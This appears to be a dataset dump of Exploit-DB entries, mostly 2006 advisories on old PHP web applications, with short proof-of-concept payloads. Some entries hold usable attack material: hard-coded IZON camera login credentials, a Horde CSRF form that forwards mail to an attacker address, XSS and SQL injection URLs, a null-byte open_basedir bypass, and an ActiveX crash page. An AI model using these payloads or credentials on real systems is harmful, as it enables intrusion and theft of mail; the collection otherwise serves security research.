QLWD/code_shield huggingface dataset:
标题: Microsoft Outlook - ActiveX Control Remote Internet Explorer Denial of Service EDB-ID: 29295 CVE: 2006-6659 类型: DOS 平台: WINDOWS 发布日期: 2006-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21649/info

The Microsoft Office Outlook Recipient Control is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer or other applications that use the ActiveX control.

Specific information regarding affected packages is currently unavailable. This BID will be updated as more information becomes available.

<!--
------------------------------------------------------------------------
Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
author: shinnai
site: http://shinnai.altervista.org
mail: shinnai[at]autistici[dot]org
and, always, special thanks to rgod

Tested on Windows Xp Professional SP2 all patched

works with Internet Explorer 6 & 7
------------------------------------------------------------------------
-->

<html>
 <head>
 <title></title>
 </head>
 <object classid="clsid:0006F023-0000-0000-C000-000000000046" id="oLook" width="180" height="14"></object>
</html>

<!--
Just enable the control by clicking on it, then try to close IE.
--> URL: https://www.exploit-db.com/exploits/29295
标题: Stem Innovation - 'IZON' Hard-Coded Credentials EDB-ID: 29266 CVE: 2013-6236 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-10-29 漏洞利用脚本: Stem Innovation ‘IZON’ Hard-coded Credentials (CVE-2013-6236)
Mark Stanislav - mstanislav@duosecurity.com


I. DESCRIPTION
---------------------------------------
Stem Innovation's IP camera called ‘IZON’ utilizes numerous hard-coded credentials within its Linux distribution and also the hidden web application running on the camera. These sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the camera. Further, using the web interface credentials will provide access to a camera stream and configuration details, including third-party API keys.


II. TESTED VERSION
---------------------------------------
iOS Mobile Application: 1.0.5
Camera Firmware: 2.0.2


III. PoC EXPLOIT
---------------------------------------
1) Telnet Credentials
* "root" with a password of "stemroot"
* "admin" with a password of "/ADMIN/"
* "mg3500" with a password of "merlin"

2) HTTP Credentials (http://camera-ip/mobileye/)
* "user" with a password of "user"


IV. SOLUTION
---------------------------------------
Update to the latest firmware and hope for the best.


V. REFERENCES
---------------------------------------
https://blog.duosecurity.com/2013/10/izon-ip-camera-hardcoded-passwords-and-unencrypted-data-abound/
https://securityledger.com/2013/10/apple-store-favorite-izon-cameras-riddled-with-security-holes/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6236


VI. TIMELINE
---------------------------------------
09/06/2013 - Initial vendor contact stating I wanted to discuss a variety of security issues
09/06/2013 - Vendor’s help desk responded and asked for clarification about my request
09/06/2013 - Responded to the vendor’s help desk and reaffirmed my purpose for contact
09/16/2013 - Updated my existing help desk ticket after not hearing back in 10 days
09/19/2013 - Received a response back to contact their CEO directly about these issues
09/19/2013 - E-mailed the vendor’s CEO with synopsis details and severity ratings for the key issues
09/30/2013 - I opened up a new help desk ticket to follow-up after not hearing from their CEO after 11 days
10/01/2013 - The new case was updated saying that their CEO was aware of my email and would respond
10/03/2013 - I received a follow-up from their CTO with no specific details about plans to fix issues
10/03/2013 - Followed-up with the CTO to ask for specific details about the issues I had found
10/14/2013 - CTO responded asking to “meet” to discuss my findings but again offered no details
10/14/2013 - Offered up time ranges for the next day that were viable to discuss my findings
10/17/2013 - Public presentation of camera research which included these issues
10/28/2013 - Still no response from vendor on confirmation of fixes or a timeline to do so URL: https://www.exploit-db.com/exploits/29266
标题: ProNews 1.5 - 'lire-avis.php?aa' Cross-Site Scripting EDB-ID: 29269 CVE: 2006-6518 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21516/info
  
ProNews is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues, an SQL-injection issue, and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
ProNews version 1.5 is vulnerable to these issues.

http://www.example.com/[script_news_path]/lire-avis.php?aa=[XSS] URL: https://www.exploit-db.com/exploits/29269
标题: ProNews 1.5 - '/admin/change.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29267 CVE: 2006-6518 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21516/info

ProNews is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues, an SQL-injection issue, and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

ProNews version 1.5 is vulnerable to these issues.

http://www.example.com/[script_news_path]/admin/change.php?pseudo=[XSS]&email=">[XSS]&date=[XSS]&sujet=[XSS]&message=[XSS]&site=">[XSS]<foo
&lien=[XSS]&aa=[existing_news_id] URL: https://www.exploit-db.com/exploits/29267
标题: ProNews 1.5 - 'lire-avis.php?aa' SQL Injection EDB-ID: 29268 CVE: 2006-6519 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21516/info
 
ProNews is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues, an SQL-injection issue, and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
ProNews version 1.5 is vulnerable to these issues.

http://www.example.com/[script_news_path]/lire-avis.php?aa=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29268
标题: Horde Groupware Web Mail Edition 5.1.2 - Cross-Site Request Forgery (1) EDB-ID: 29274 CVE: 2013-6275 类型: WEBAPPS 平台: PHP 发布日期: 2013-10-29 漏洞利用脚本: #############################
Exploit Title : Multiple CSRF Horde Groupware Web mail Edition
Author:Marcela Benetrix
Date: 10/25/13
version: 5.1.2
software link:http://www.horde.org/apps/webmail

#############################
GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project

##########################
CSRF Location

Several functionalities from Rules section were found to miss the token so as to prevent CSRF


##########################
POC

A <body>
    <form action="...../horde/ingo/basic.php?page=rule" method="POST">
      <input type="hidden" name="actionID" value="rule_save" />
      <input type="hidden" name="conditionnumber" value="-1" />
      <input type="hidden" name="name" value="TestingCSRF" />
      <input type="hidden" name="combine" value="1" />
      <input type="hidden" name="field[0]" value="From" />
      <input type="hidden" name="match[0]" value="contains" />
      <input type="hidden" name="value[0]"
value="test@hotmail.com" />
      <input type="hidden" name="field[1]" value="" />
      <input type="hidden" name="action" value="4" />
      <input type="hidden" name="actionvalue"
value="attacker@hotmail.com" />
      <input type="hidden" name="stop" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

These were found at:
  * Creating a rule
  * Updating
  * Enabling
    (http://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=2&actionID=rule_enable)
  * Deleting ( url-based https://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=6&actionID=rule_delete)

###########################
CVE identifier

CVE-2013-6275.
##########################
Vendor Notification
10/25/2013 to: the developers. They replied immediately and fixed the problem launching a patch:  http://bugs.horde.org/ticket/12796
10/28/2013: Disclosure URL: https://www.exploit-db.com/exploits/29274
标题: CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting EDB-ID: 29272 CVE: 2006-6845 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/21527/info

CMS Made Simple is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?mact=Search%2Ccntnt01%2Cdosearch%2C0&cntnt01returnid=51&cntnt01searchinput=Enter+Search..."><script>alert(document.cookie)</script>&cntnt01submit=Submit URL: https://www.exploit-db.com/exploits/29272
标题: AnnonceScriptHP 2.0 - 'email.php?id' SQL Injection EDB-ID: 29252 CVE: 2006-6478 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info
      
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
      
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/email.php?id=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29252
标题: AnnonceScriptHP 2.0 - 'membre.dwt.php?email' Cross-Site Scripting EDB-ID: 29250 CVE: 2006-6479 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info
    
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
    
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/Templates/membre.dwt.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29250
标题: AnnonceScriptHP 2.0 - '/Templates/commun.dwt.php?email' Cross-Site Scripting EDB-ID: 29249 CVE: 2006-6479 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info
   
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
   
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/Templates/commun.dwt.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29249
标题: AnnonceScriptHP 2.0 - '/Templates/admin.dwt.php?email' Cross-Site Scripting EDB-ID: 29248 CVE: 2006-6479 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info
  
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
  
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/Templates/admin.dwt.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29248
标题: AnnonceScriptHP 2.0 - 'voirannonce.php?no' SQL Injection EDB-ID: 29253 CVE: 2006-6478 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info
       
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
       
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/voirannonce.php?no=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29253
标题: AnnonceScriptHP 2.0 - 'erreurinscription.php?email' Cross-Site Scripting EDB-ID: 29247 CVE: 2006-6479 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info
 
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
 
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/erreurinscription.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29247
标题: AnnonceScriptHP 2.0 - '/admin/admin_config/Aide.php?email' Cross-Site Scripting EDB-ID: 29251 CVE: 2006-6479 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info
     
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
     
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/admin/admin_config/Aide.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29251
标题: KDPics 1.11/1.16 - 'index.php3?categories' Cross-Site Scripting EDB-ID: 29254 CVE: 2006-6517 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21515/info

KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize user-supplied input.

A successful exploit may allow unauthorized users to view files, to execute arbitrary scripts within the context of the browser, and to steal cookie-based authentication credentials. Other attacks are also possible.

KDPics 1.16 and prior versions are vulnerable.

http://www.example.com/[kdpics_path]/index.php3?page=galeries&categories=[XSS] URL: https://www.exploit-db.com/exploits/29254
标题: AnnonceScriptHP 2.0 - '/admin/admin_membre/fiche_membre.php?idmembre' SQL Injection EDB-ID: 29246 CVE: 2006-6478 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21514/info

AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.

AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/admin/admin_membre/fiche_membre.php?idmembre=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29246
标题: KDPics 1.11/1.16 - 'galeries.inc.php3?categories' Cross-Site Scripting EDB-ID: 29255 CVE: 2006-6517 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21515/info
 
KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize user-supplied input.
 
A successful exploit may allow unauthorized users to view files, to execute arbitrary scripts within the context of the browser, and to steal cookie-based authentication credentials. Other attacks are also possible.
 
KDPics 1.16 and prior versions are vulnerable.

http://www.example.com/[kdpics_path]/galeries.inc.php3?categories=[XSS] URL: https://www.exploit-db.com/exploits/29255
标题: Messageriescripthp 2.0 - '/Contact/contact.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29245 CVE: 2006-6520 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21513/info
   
Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
Messageriescripthp V2.0 is vulnerable to this issue.

http://www.example.com/[script_messagerie_path]/Contact/contact.php?pageName=</title>[XSS]
http://www.example.com/[script_messagerie_path]/Contact/contact.php?cssform=">[XSS]<foo URL: https://www.exploit-db.com/exploits/29245
标题: Messageriescripthp 2.0 - 'existeemail.php?email' Cross-Site Scripting EDB-ID: 29244 CVE: 2006-6520 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21513/info
  
Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Messageriescripthp V2.0 is vulnerable to this issue.

http://www.example.com/[script_messagerie_path]/existeemail.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29244
标题: PHP 5.2 - Session.Save_Path() 'Safe_mode' / 'open_basedir' Restriction Bypass EDB-ID: 29239 CVE: 2006-6383 类型: LOCAL 平台: PHP 发布日期: 2006-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/21508/info

PHP is prone to a 'safe_mode' and 'open_basedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

PHP version 5.2.0 is vulnerable to this issue.

session_save_path("/DIR/WHERE/YOU/DONT/HAVE/ACCESS\0;/DIR/WHERE/YOU/HAVE/ACCESS") URL: https://www.exploit-db.com/exploits/29239
标题: Cilem Haber Free Edition - 'hata.asp?hata' Cross-Site Scripting EDB-ID: 29240 CVE: 2006-6536 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/21511/info

Ã?ilem Haber Free Edition is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path to script]/editor_haber/hata.asp?hata=[XSS] URL: https://www.exploit-db.com/exploits/29240
标题: Messageriescripthp 2.0 - 'lire-avis.php?aa' SQL Injection EDB-ID: 29242 CVE: 2006-6521 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21513/info

Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Messageriescripthp V2.0 is vulnerable to this issue.

http://www.example.com/[script_messagerie_path]/lire-avis.php?aa=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29242
标题: Link CMS - 'prikazInformacije.php?IDStranicaPodaci' SQL Injection EDB-ID: 29233 CVE: 2006-6387 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21464/info
 
Link CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example,com/prikazInformacije.php?IDStranicaPodaci=[code] URL: https://www.exploit-db.com/exploits/29233
标题: Messageriescripthp 2.0 - 'existepseudo.php?pseudo' Cross-Site Scripting EDB-ID: 29243 CVE: 2006-6520 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21513/info
 
Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Messageriescripthp V2.0 is vulnerable to this issue.
 
http://www.example.com//[script_messagerie_path]/existepseudo.php?pseudo=[XSS] URL: https://www.exploit-db.com/exploits/29243
标题: cPanel 11 BoxTrapper - Manage.HTML Cross-Site Scripting EDB-ID: 29237 CVE: 2006-6523 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/21497/info

cPanel BoxTrapper is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel 11 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/frontend/xtest/mail/manage.html?account= URL: https://www.exploit-db.com/exploits/29237